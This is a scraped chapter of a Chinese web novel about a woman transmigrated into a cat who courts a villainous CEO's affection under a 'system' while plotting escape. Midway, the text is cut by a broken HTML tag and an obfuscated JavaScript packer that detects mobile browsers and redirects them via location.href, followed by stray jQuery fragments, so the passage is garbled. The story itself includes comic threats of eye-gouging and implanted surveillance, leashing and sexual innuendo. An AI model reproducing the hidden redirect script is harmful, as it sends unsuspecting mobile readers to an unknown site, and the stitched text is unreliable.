回到庄园,裴延森一反常态地主动把荀也抱到腿上。
荀也想跑,但被捏着下巴迫使张大嘴,裴延森又去检查她的爪子。
“牙没给你拔掉,爪子也给你留了半截,怎么遇到事就不会用了,还是你只会窝里横。”
荀也被说得抬不起头,但又不服气,“你要是真厉害,怎么会有人敢陷害你的猫。”
裴延森捏起她骂骂咧咧的嘴,冷嘲道:“看来只给你植入定位器还不够,再给你安装一只天眼好不好,把你一只眼挖出来换成监视器,手脚也得配一套钢制的护甲。”
荀也:“你在开玩笑吗?”
裴延森虎口从后卡住她的脖子:“要不要?给个反应。”
荀也疯狂摇头:“我不要!”
裴延森中指贴在她后脑往下压,“好,你要。”
歪曲事实?
荀也火冒三丈,当即给他来了一套丝滑贴脸运镜,“我不要!hello,听得见吗?我说我不要!”
这说得是人话吗,简直是丧心病狂!泯灭人性!
裴延森被逼得仰头躲避,手却没有丝毫阻拦的意思,表情嫌弃中带着一丝莫名的享受。
等他彻底没了耐心,大手攥住荀也的脸,用力摇了摇,然后一把松开她,掏出了手机。
她原以为裴延森只是口嗨,没想到他的真打电话给助理,让小助理和宠物医生沟通一下监控眼的可行性,还有护甲的方案也让助理通知给旗下珠宝公司的设计部。
荀也收回之前无脑感动的话,谁能想到裴延森这款反派还能更变态,每天都在背着她偷偷进化是吧。
她一脸生无可恋,又想跑路了怎么办?
荀也还是想补救一下,踮着脚去蹭他的下巴,妄图用软萌的外表唤醒他的恻隐之心,“做人留一线,日后好相见,劝你不要不知好歹。”
身体发肤受之父母,他一个连养父都混不上的寄养人怎么敢背着主人做决定,她又跟古早文里被挖肾虐身的虐文女主有什么区别。
感受着胸前愈加大力的剐蹭,裴延森不轻不重地揪了下她耳朵尖的聪明毛。
荀也捏紧了拳头,寄人篱下的苦如今她也是吃到了。
就在她盘算着怎么逃跑时,管家牵着一只边牧走了进来。
他们刚刚在草坪玩飞盘,传说中的黑虎叼着飞盘,尾巴摇得飞起,大步朝裴延森扑过来。
荀也只来得及伸出一只手阻拦,就被大狗的热情淹没。
耳边全是啊呜啊呜的狗叫声,她求救的声音被就地淹没。
裴延森克制着不耐嫌弃地等它发泄完情绪,又不慌不忙地把快被压死的荀也解救出来。
荀也瘫坐着大口喘气,没想到差点死在一条狗手里。
管家忍俊不禁道:“黑虎在R国待了两年,你又不常去看它,这是想你想疯了。”
传说中的黑虎歪头好奇地看着和它同款皮肤的小猫,嘴筒子蠢蠢欲动。
荀也抬爪把它喷洒着热气的嘴筒子拍开,喵声冷漠:“你最好离我远点。”
黑虎不懂,但不妨碍它争宠,它转了一圈蹦高跃上沙发,一屁股挤到裴延森和荀也中间,对着主人哼哼唧唧。
荀也从它屁股底下钻出来,被蹂躏过的脑袋有一丝凌乱,生活并没有给她重击,但她此刻却从一条狗身上体会到了。
裴延森把鬼嚎的边牧拨开,命令道:“滚下去。”
黑虎委屈巴巴地跳下沙发。
管家对荀也介绍:“这是你的哥哥,叫黑虎,你们两个以后要好好相处啊。”
荀也看着过分活泼的边牧,它对裴延森真得好能舔,那自己以后想打它的主人是不是还得挑它看不见的地方。
对于自己多了一条狗哥的事,荀也的心情不算太好,尤其还是它最喜欢拿屁股搞偷袭。
晚上的时候裴延森带着酒气回来,黑虎围着他腿边打转,周边不见荀也的身影。
因为害怕被带去宠物医院改造,这两天荀也都离裴延森远远的。
管家从助理手中接过他的西装外套,吩咐厨房煮解酒汤。
张姨端着醒酒汤进门时,裴延森半躺在沙发上,一条大长腿放肆地横过茶几,黑虎就守在门外啃飞盘。
荀也亦步亦趋跟在张姨身后,细声细气地喵喵叫:“鱼干鱼干小鱼干~给我小鱼干~”
经过黑虎身边时,她故意踩着他的尾巴过去,黑虎怒目而视,荀也轻巧一跳落到房间内,只留不敢进门的边牧无能狂怒。
裴延森被一串不成调的喵喵歌扰地皱紧了眉,张姨把醒酒汤放到桌子上,“小乖今天已经吃了五条小鱼干,不给就缠着我撒娇卖乖,真是跟小孩一样。”
裴延森半眯着眼,听到撒娇卖乖,两天都没出现过语音播报【当前好感值-789999】
荀也紧跟张姨的脚步迟疑了一瞬,又满脸怨气去讨好裴延森。
她跳上茶几,试探着推了推他的腿,没反应。
“汪!”黑虎在门外小声叫了一声,它以前被教训过不能进房间,此刻在门口急得团团转。
自从这座庄园里多了一条狗,她在蹭反派赚好感值的路上,又多了一项打击这只嫉妒心极重边牧的任务。
荀也朝它露出一个挑衅的表情,将罪恶之手伸向了醒酒汤。
一阵故意加重的滑动声过后,杯底和桌沿相接,荀也手上用力观察着他的神色,“我推了,我真推了,我真的真的推下去了。”
裴延森依旧是那副安然睡去的姿态。
荀也跳到沙发扶手上端详他的脸,此刻的大反派紧闭双眼,沐浴在炽白的灯光下,像见光死的吸血鬼一样安静,无害,有种死得透透的美。
衬衫的领口被他解开三颗,她的眼神往下滑落到他胸膛,瞳孔聚焦时被自己的口水呛了一下。
不会说话的反派实在诱人,她一颗死寂的色心又开始不受控制地跳动。
荀也小心翼翼地探出手,肉垫接触到硬质的灰色衬衫,肉垫下陷,又迅速收回,“软的?”
系统:【宿主,你终于开窍了?】
她半张着嘴,根本没功夫理会它,再次伸手时,沙发上醉眼朦胧的男人睁开眼,“想暗杀我。”
荀也眼睛眨眨,盯着他头顶上升的数值,不可置信,这是给他戳舒服了?
但好感值又回来了是好事,她清了清嗓子再接再厉,指指桌子上的醒酒汤,殷勤地喵喵叫。
裴延森把腿撤下来,眼底清明,“你想让我喝。”
荀也看着不断上升的好感值点头,“要是你再多涨一点,我还能亲自喂你喝。”
裴延森倾身拿起杯子,放在嘴边,斜眼瞅她。
狗腿子荀也十分有眼力见地帮忙托住杯底。
杯口掩住裴延森略弯的嘴角,“喝不到,再抬高点。”
荀也的手抖抖抖,表情和她肌无力的膀子一样处在崩溃的边缘,“得寸进尺是不是?”
门外的黑虎看到荀也和主人亲密接触,嫉妒之火熊熊燃起,终于忍不住冲了进来。
啊呜啊呜的狗叫声传来,下一秒杯口倾斜,温热的液体全倒在裴延森胸前和荀也头上。
洇透的浅灰色衬衣贴在皮肤上,块垒清晰的胸肌正正怼在她眼前,荀也不由深吸一口气。
她忐忑抬头:“这不能对我发火吧?”
好在上升的好感值没有错怪好人,看到【-700000】她瞬间感觉自己又行了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271394|182316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
*
第二天,荀也粘着裴延森发挥自己的卖萌大法,成功被允许跟去公司。
不过卖萌讨好是其次,找机会逃走才是她目前最重要的事。
自从上次她偷跑成功后,庄园的安保又严密了两倍,在这里她根本找不到一丝一毫逃走的可能,唯一的办法就是跟着裴延森去公司,然后趁机开溜。
去公司的路上荀也问了一遍,“如果我装了定位器,监控眼,变成人之后也会在我的身体里存在吗?”
如果真逃不过,不影响她恢复成人的生活她也可以不计较,只是心理上比较膈应就是了。
裴延森这个想一出是一出死变态,到底是哪来的读者觉得他可怜,眼睛不要可以捐了。
系统也不能保证,【这个……应该不影响吧。】
不影响吧?
有了系统的话,荀也更加确定了离家出走的决心。
从地下车库到办公室坐的是专用电梯,一路无事发生。
周一例行早会,电梯停在二十层,对面的电梯呼啦啦涌出一群职业装男女,均对总裁和他身后的奶牛猫行注目礼。
总裁办做事向来嘴严,顶头上司的私事不会被拿出去当谈资,所以下层的职员都在怀疑地下车库的流浪猫跟着总裁进了大厦。
有人想出声提醒,但都碍于裴延森不近人情的强大气场不敢出声。
荀也悄悄放慢脚步,好几次想混进打工人队伍,但裴延森就像背后长了眼睛,她一旦有偏离轨道的想法就会被抓包。
裴延森转头,流畅的剑眉挑起一端,往下是他那双傲慢自得的眼,荀也气哄哄地去踩他脚后跟。
刚出电梯的职员拖拉着步伐看热闹,有胆大地甚至拿出手机拍照。
今天匿名群的八卦有了,流浪猫暴揍大魔王,小猫咪危矣。
开会的时候,裴延森让助理给他找了条绳子,一头栓在他手腕,一头栓在荀也脖子上。
荀也拽了拽绳子,又用后槽牙去磨,磨了半小时会议还在继续,绳子也分毫未伤。
她泄了气,转头把獠牙对准了桌下大敞的角度。
“嗯!”
还在发表意见的营销部的经理停下来,望向主位面容隐忍的总裁。
他面上强装镇定,实际小腿肚抖得像站上了甩脂机。
系统幽幽出现:【电击惩罚申请出战。】
荀也从他大腿内侧跳下来,【这难道不是你想看的办公室play吗?】
系统呆了:【办公室play什么时候这么血腥了。】
荀也不回答,摸了摸自己被硌痛的牙齿,反派浑身上下什么地方最硬她不知道,但是他屁股最软保真。
她跑到凳子腿处,头顶的裴延森也在看着她,表情说不上好坏,然后他刻薄毒舌的嘴唇无声的动了动。
荀也:“他是在骂我吗?”
系统和事佬:【大爱无声,他在表达对你的爱。】
荀也:不是很想信。
裴延森伸手去捞它,但被荀也躲了个空。
一人一猫无声对视,裴延森突然抬手撑起额角。
黑线绷直,被勒住喉管的荀也被迫踮着脚尖,“停,咳停下。”
指节叩响桌面,裴延森抬头:“继续。”
早会结束时,荀也从桌底出来,陪她出场的还有裴延森两条被抓抽丝的西装裤管。
几位部门经理和站在原位都不敢乱瞟,默默目送上司离开。
系统:【反派是逐渐对你的恶作剧免疫了吗?这都没有发怒,好感值也没有降低。】
荀也:“你是在暗示我可以作更大的妖吗?”
系统:【我不是,我没说,你不要造谣!】